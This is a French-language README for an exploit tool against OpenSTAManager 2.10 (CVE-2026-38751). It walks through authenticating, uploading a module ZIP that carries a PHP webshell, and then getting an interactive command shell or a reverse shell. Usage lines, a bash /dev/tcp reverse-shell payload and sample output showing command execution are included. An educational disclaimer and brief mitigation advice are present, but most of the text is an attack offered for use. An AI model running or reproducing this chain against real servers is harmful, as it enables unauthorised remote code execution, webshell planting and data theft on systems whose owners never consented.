Exploit RCE OpenSTAManager (CVE-2026-38751)
Aperçu
Ce script Python exploite une vulnérabilité d'exécution de code à distance dans OpenSTAManager version 2.10, identifiée comme CVE-2026-38751. L'exploit permet aux utilisateurs authentifiés de télécharger un module malveillant et d'exécuter des commandes arbitraires sur le système cible.
Détails de la vulnérabilité
- ID CVE : CVE-2026-38751
- Produit : OpenSTAManager
- Version : 2.10
- Type : Exécution de code à distance (RCE)
- Vecteur d'attaque : Basé sur le Web, nécessite une authentification valide
Fonctionnement de l'exploit
L'exploit suit les étapes suivantes :
- Authentification : Se connecte à l'application OpenSTAManager avec les identifiants fournis
- Activation des mises à jour : Active la fonctionnalité de mise à jour des modules nécessaire à l'exploit
- Création d'un ZIP malveillant : Génère un fichier ZIP contenant :
- Un fichier de définition de module (
MODULE)
- Un script PHP (
shell.php) qui exécute des commandes via le paramètre GET c
- Téléchargement du module : Télécharge le ZIP malveillant via l'interface de mise à jour des modules
- Vérification de l'exploitation : Confirme que le shell est accessible et fonctionnel
- Exécution des commandes : Soit :
- Mode shell interactif pour l'exécution manuelle de commandes
- Connexion reverse shell pour établir une connexion persistante
Prérequis
- Python 3.x
- Paquets Python requis :
requests, zipfile
- Identifiants administrateur valides pour OpenSTAManager
- Accès réseau au système cible
Utilisation
Utilisation de base
python3 exploit.py -u http://target.com -U admin -P password
Mode shell interactif
python3 exploit.py -u http://target.com -U admin -P password --interactive
Mode reverse shell
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
Arguments
| Argument | Description |
|---|
-u, --url | URL cible (requis) |
-U, --user | Nom d'utilisateur pour l'authentification (requis) |
-P, --password | Mot de passe pour l'authentification (requis) |
--interactive | Entrer en mode shell interactif |
--no-cleanup | Ne pas supprimer les fichiers shell après exécution |
--lhost | Hôte local pour le reverse shell |
--lport | Port local pour le reverse shell |
Détails techniques
Processus d'exploitation
- Authentification : Le script effectue une requête de connexion au point de terminaison d'authentification de l'application
- Activation de la mise à jour des modules : Envoie une requête POST pour activer la fonctionnalité de mise à jour des modules
- Génération du ZIP : Crée une archive ZIP avec :
shell/MODULE : Fichier de configuration du module
shell/shell.php : Webshell PHP qui exécute des commandes passées via le paramètre GET c
- Processus de téléchargement : Utilise des données multipart pour télécharger le ZIP malveillant sur le point de terminaison de mise à jour des modules
- Vérification : Teste le shell téléchargé en exécutant une commande simple comme
id pour confirmer son fonctionnement
- Exécution des commandes : Soit fournit un shell interactif, soit établit une connexion reverse shell
Charges utiles utilisées
L'exploit tente plusieurs charges utiles de reverse shell :
- Reverse shell Bash :
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
- Reverse shells Python utilisant des connexions socket
- Charge utile Bash encodée en Base64
- Reverse shell Netcat
Considérations de sécurité
⚠️ Avertissement : Cet exploit est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Évaluation des risques
Cette vulnérabilité permet :
- Une exécution arbitraire de code en tant qu'utilisateur du serveur web
- Une possible élévation de privilèges
- L'accès à des données sensibles stockées sur le système
- Un éventuel mouvement latéral au sein d'un réseau
Atténuation
Pour se protéger contre cette vulnérabilité :
- Mettre à jour OpenSTAManager vers la dernière version
- Mettre en œuvre des contrôles d'authentification appropriés
- Restreindre les capacités de téléchargement de fichiers
- Surveiller les activités suspectes
- Appliquer une segmentation réseau
Exemple de sortie
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
Références
Licence
Cet exploit est fourni à des fins éducatives uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale.